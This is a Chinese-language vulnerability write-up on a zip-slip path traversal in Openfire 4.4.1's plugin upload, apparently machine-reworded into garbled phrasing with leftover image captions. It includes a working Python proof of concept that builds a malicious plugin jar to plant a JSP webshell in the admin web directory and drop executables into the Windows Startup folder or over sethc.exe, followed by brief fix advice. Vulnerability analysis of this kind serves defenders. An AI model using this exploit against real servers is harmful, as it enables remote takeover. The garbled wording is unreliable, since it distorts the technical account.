openfire在4.4.1版本中,许可后台上传未经校验的恶意插件,可导致直接getshell和掌握做事器。

#剖析

在xmpp.jar文件中org/jivesoftware/openfire/container/PluginManager.class文件存在上传漏洞。

在installPlugin方法中,程序首先判断文件头,如下图:

openfirejspopenfire软件破绽发掘剖析 Docker

如果文件头为zip、war、jar等格式,即可通过校验并且上传插件添加.part后缀,否则不通过。

接着在210行中考试测验检讨上传插件中是否存在plugin.xml 这个文件,如果存在这个文件(不检讨文件内容)则会开始考试测验解压缩操作。
否则提示缺点,不进行解压插件操作。
如图:

在解压插件操作中,程序代码并未对插件目录做任何过滤处理,乃至可以直接覆盖其他文件。
如图:

这导致了可以布局分外目录,如 ../ 等。
可以解压插件中的内容到任意目录中。

# POC利用

利用python脚本创建poc插件,可以上传webshell到admin/js目录中或者可以上传木马文件到启动目录中。

poc代码如下:

Copy to clipboard

#!
/usr/env python3

# -- coding:utf-8 --

import zipfile

f = zipfile.ZipFile('evil.jar', 'w', zipfile.ZIP_DEFLATED)

f.write('plugin.xml')

# 上传webshell文件到/admin/webapp/js/目录中,访问http://ip:9090/js/ Browser.jsp即可访问到webshell

f.write('Browser.jsp', arcname='../admin/webapp/js/Browser.jsp')

# 上传木马文件到启动目录,或者任意目录中

#f.write('evil.exe', arcname='../../bin/openfire.exe')

#f.write('calc.exe', arcname='C:/c:/Windows/System32/sethc.exe')

# 上传到启动目录方法1

f.write('evils.exe', arcname='C:/c:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/test.exe')

#上传到启动目录方法2,须要openfire安装到默认c盘才能利用

f.write('evil.exe', arcname='../../../../Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/service.exe')

f.close()

修复方案

修正222行中代码,添加限定目录判断,只许可解压在插件当前目录中。

升级官网最新的4.4.2版本。

演示